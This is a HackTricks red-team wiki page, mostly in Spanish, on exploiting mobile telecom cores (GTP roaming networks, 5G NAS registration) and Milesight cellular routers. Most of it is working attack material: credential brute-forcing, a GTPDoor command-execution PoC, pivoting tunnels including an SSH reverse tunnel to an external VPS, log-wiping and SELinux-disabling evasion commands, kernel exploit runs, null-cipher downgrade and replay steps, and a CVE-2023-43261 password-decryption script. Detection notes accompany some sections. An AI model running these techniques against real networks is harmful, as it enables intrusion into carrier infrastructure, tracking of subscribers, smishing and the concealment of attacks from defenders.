Explotación de redes de Telecomunicaciones (GTP / Roaming Environments)
Reading time: 14 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
note
Los protocolos del core móvil (GPRS Tunnelling Protocol – GTP) a menudo atraviesan backbones de roaming GRX/IPX semi-confiables. Debido a que viajan sobre UDP sin casi ninguna autenticación, cualquier punto de apoyo dentro del perímetro de telecomunicaciones puede normalmente alcanzar directamente los planos de señalización centrales. Las siguientes notas recopilan trucos ofensivos observados en entornos reales contra SGSN/GGSN, PGW/SGW y otros nodos EPC.
1. Recon & Initial Access
1.1 Cuentas OSS / NE por defecto
Un número sorprendentemente grande de elementos de red de los vendors se envía con usuarios SSH/Telnet codificados como root:admin
, dbadmin:dbadmin
, cacti:cacti
, ftpuser:ftpuser
, … Una wordlist dedicada aumenta drásticamente el éxito en brute-force:
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
Si el dispositivo expone solo un management VRF, pivot through a jump host first (véase la sección «SGSN Emu Tunnel» más abajo).
1.2 Host Discovery inside GRX/IPX
La mayoría de los operadores GRX todavía permiten ICMP echo a través del backbone. Combina masscan
con las UDP probes integradas de gtpv1
para mapear rápidamente los GTP-C listeners:
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
2. Enumerating Subscribers – cordscan
La siguiente herramienta en Go crea paquetes GTP-C Create PDP Context Request y registra las respuestas. Cada respuesta revela el SGSN / MME actual que atiende el IMSI consultado y, a veces, el PLMN visitado por el suscriptor.
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
Key flags:
--imsi
IMSI del suscriptor objetivo--oper
Home / HNI (MCC+MNC)-w
Escribir paquetes raw en pcap
Se pueden parchear constantes importantes dentro del binario para ampliar los escaneos:
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
3. Ejecución de código sobre GTP – GTPDoor
GTPDoor
es un pequeño servicio ELF que escucha en UDP 2123 y analiza cada paquete GTP-C entrante. Cuando la carga útil comienza con una etiqueta precompartida, el resto se descifra (AES-128-CBC) y se ejecuta mediante /bin/sh -c
. El stdout/stderr se exfiltra dentro de mensajes Echo Response para que nunca se cree una sesión saliente.
Paquete PoC mínimo (Python):
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
Detección:
- cualquier host que envíe unbalanced Echo Requests a las IPs del SGSN
- bandera de versión GTP establecida en 1 mientras el tipo de mensaje = 1 (Echo) – desviación respecto a la especificación
4. Pivoting a través del Core
4.1 sgsnemu
+ SOCKS5
OsmoGGSN
incluye un emulador de SGSN capaz de establecer un contexto PDP hacia un GGSN/PGW real. Una vez negociado, Linux recibe una nueva interfaz tun0
accesible desde el peer de roaming.
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
Con el firewall hair-pinning adecuado, este túnel evita las VLANs únicamente de señalización y te coloca directamente en el data plane.
4.2 SSH Reverse Tunnel sobre el puerto 53
DNS casi siempre está abierto en infraestructuras de roaming. Expón un servicio SSH interno en tu VPS que escuche en :53 y vuelve más tarde desde casa:
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
Comprueba que GatewayPorts yes
esté habilitado en el VPS.
5. Canales encubiertos
Canal | Transporte | Decodificación | Notas |
---|---|---|---|
ICMP – EchoBackdoor | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | escucha totalmente pasiva, sin tráfico saliente |
DNS – NoDepDNS | UDP 53 | XOR (key = funnyAndHappy ) encoded in A-record octets | vigila el subdominio *.nodep |
GTP – GTPDoor | UDP 2123 | AES-128-CBC blob in private IE | se mezcla con el tráfico legítimo de GTP |
All implants implement watchdogs that timestomp their binaries and re-spawn if crashed.
6. Hoja de referencia de Defense Evasion Cheatsheet
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
7. Privilege Escalation en Legacy NE
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit – CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py
Consejo de limpieza:
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
8. Caja de herramientas
cordscan
,GTPDoor
,EchoBackdoor
,NoDepDNS
– herramientas custom descritas en secciones previas.FScan
: barridos TCP intranet (fscan -p 22,80,443 10.0.0.0/24
)Responder
: LLMNR/NBT-NS WPAD maliciosoMicrosocks
+ProxyChains
: pivoting SOCKS5 ligeroFRP
(≥0.37) : NAT traversal / asset bridging
9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
El procedimiento de registro 5G corre sobre NAS (Non-Access Stratum) encima de NGAP. Hasta que la seguridad NAS se activa con Security Mode Command/Complete, los mensajes iniciales no están autenticados ni cifrados. Esta ventana pre-seguridad permite múltiples vectores de ataque cuando puedes observar o manipular el tráfico N2 (p. ej., on-path dentro del core, rogue gNB, o en un testbed).
Registration flow (simplificado):
- Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
- Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
- Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
- PDU Session Establishment: IP/QoS setup.
Consejos para laboratorio (no RF):
- Core: el despliegue por defecto de Open5GS es suficiente para reproducir los flujos.
- UE: simulador o UE de prueba; decodificar con Wireshark.
- Herramientas activas: 5GReplay (capture/modify/replay NAS dentro de NGAP), Sni5Gect (sniff/patch/inject NAS al vuelo sin levantar un rogue gNB completo).
- Filtros útiles en Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
9.1 Privacidad de identificadores: fallos de SUCI exponiendo SUPI/IMSI
Esperado: el UE/USIM debe transmitir SUCI (SUPI cifrado con la clave pública del home-network). Encontrar un SUPI/IMSI en claro en el Registration Request indica un defecto de privacidad que permite tracking persistente del abonado.
Cómo probar:
- Captura el primer mensaje NAS en InitialUEMessage e inspecciona el Mobile Identity IE.
- Chequeos rápidos en Wireshark:
- Debe decodificarse como SUCI, no como IMSI.
- Ejemplos de filtro:
nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci
debe existir; la ausencia de esto junto con la presencia deimsi
indica filtrado.
Qué recolectar:
- MCC/MNC/MSIN si están expuestos; registrar por-UE y rastrear a través del tiempo/ubicaciones.
Mitigación:
- Forzar UEs/USIMs que sólo usen SUCI; alertar ante cualquier IMSI/SUPI en NAS inicial.
9.2 Degradación de capacidades a algoritmos nulos (EEA0/EIA0)
Contexto:
- El UE anuncia las EEA (encryption) y EIA (integrity) soportadas en el IE UE Security Capability del Registration Request.
- Mapas comunes: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 son algoritmos nulos.
Problema:
- Como el Registration Request no está protegido por integridad, un atacante on-path puede limpiar bits de capacidad para forzar la selección de EEA0/EIA0 más tarde durante Security Mode Command. Algunas pilas incorrectamente permiten algoritmos nulos fuera de servicios de emergencia.
Pasos ofensivos:
- Interceptar InitialUEMessage y modificar NAS UE Security Capability para anunciar sólo EEA0/EIA0.
- Con Sni5Gect, enganchar el mensaje NAS y parchear los bits de capacidad antes de reenviar.
- Observar si el AMF acepta null ciphers/integrity y completa Security Mode con EEA0/EIA0.
Verificación/visibilidad:
- En Wireshark, confirmar los algoritmos seleccionados después de Security Mode Command/Complete.
- Example passive sniffer output:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
Mitigaciones (obligatorias):
- Configurar AMF/policy para rechazar EEA0/EIA0 excepto donde esté estrictamente mandatado (p. ej., llamadas de emergencia).
- Preferir aplicar EEA2/EIA2 como mínimo; registrar y activar alarmas en cualquier NAS security context que negocie null algorithms.
9.3 Repetición (replay) de initial Registration Request (NAS sin seguridad previa)
Debido a que el NAS inicial carece de integridad y frescura, un InitialUEMessage+Registration Request capturado puede ser reproducido al AMF.
Regla PoC para que 5GReplay reenvíe replays coincidentes:
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
Qué observar:
- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.
Mitigations:
- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.
9.4 Tooling pointers (reproducible)
- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
9.5 Defensive checklist
- Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
- Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.
10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)
Abusing exposed web APIs of industrial cellular routers enables stealthy, carrier-origin smishing at scale. Milesight UR-series routers expose a JSON-RPC–style endpoint at /cgi
. When misconfigured, the API can be queried without authentication to list SMS inbox/outbox and, in some deployments, to send SMS.
Typical unauthenticated requests (same structure for inbox/outbox):
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json
{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
Las respuestas incluyen campos como timestamp
, content
, phone_number
(E.164) y status
(success
o failed
). Los envíos repetidos con failed
al mismo número suelen ser verificaciones de capacidad del atacante para validar que un router/SIM puede entregar antes de inundar.
Ejemplo de curl para exfiltrar metadatos SMS:
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
Notas sobre auth artifacts:
- Parte del tráfico puede incluir un auth cookie, pero una gran parte de los dispositivos expuestos responden sin ninguna autenticación a
query_inbox
/query_outbox
cuando la interfaz de gestión está expuesta a Internet. - En entornos que requieren auth, previously-leaked credentials (ver más abajo) restauran el acceso.
Ruta de recuperación de credenciales – CVE-2023-43261:
- Familias afectadas: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
- Problema: logs servidos por web (p. ej.,
httpd.log
) son accesibles sin autenticación bajo/lang/log/
y contienen admin login events con la contraseña cifrada usando un hardcoded AES key/IV presente en client-side JavaScript. - Practical access and decrypt:
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}
Ejemplo mínimo en Python para descifrar leaked passwords (AES-128-CBC, hardcoded key/IV):
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...' # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
Ideas de hunting y detección (red):
- Alertar sobre
POST /cgi
no autenticados cuyo body JSON contienebase
/function
seteados aquery_inbox
oquery_outbox
. - Rastrear ráfagas repetidas de
POST /cgi
seguidas por entradasstatus":"failed"
a través de muchos números únicos desde la misma IP fuente (capability testing). - Inventariar routers Milesight expuestos a Internet; restringir la gestión a VPN; deshabilitar funciones SMS salvo que sean necesarias; actualizar a ≥ v35.3.0.7; rotar credenciales y revisar logs SMS por envíos desconocidos.
Shodan/OSINT pivots (examples seen in the wild):
http.html:"rt_title"
matches Milesight router panels.- Google dorking for exposed logs:
"/lang/log/system" ext:log
.
Operational impact: using legitimate carrier SIMs inside routers gives very high SMS deliverability/credibility for phishing, while inbox/outbox exposure leaks sensitive metadata at scale.
Ideas de detección
- Cualquier dispositivo que no sea un SGSN/GGSN estableciendo Create PDP Context Requests.
- Puertos no estándar (53, 80, 443) recibiendo SSH handshakes desde IPs internas.
- Echo Requests frecuentes sin Echo Responses correspondientes – podría indicar beacons de GTPDoor.
- Alta tasa de tráfico ICMP echo-reply con campos identifier/sequence grandes y no cero.
- 5G: InitialUEMessage que transporta NAS Registration Requests repetidos desde endpoints idénticos (señal de replay).
- 5G: NAS Security Mode negociando EEA0/EIA0 fuera de contextos de emergencia.
Referencias
- Palo Alto Unit42 – Infiltration of Global Telecom Networks
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
- Demystifying 5G Security: Understanding the Registration Protocol
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
- Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)
- CVE-2023-43261 – NVD
- CVE-2023-43261 PoC (win3zz)
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.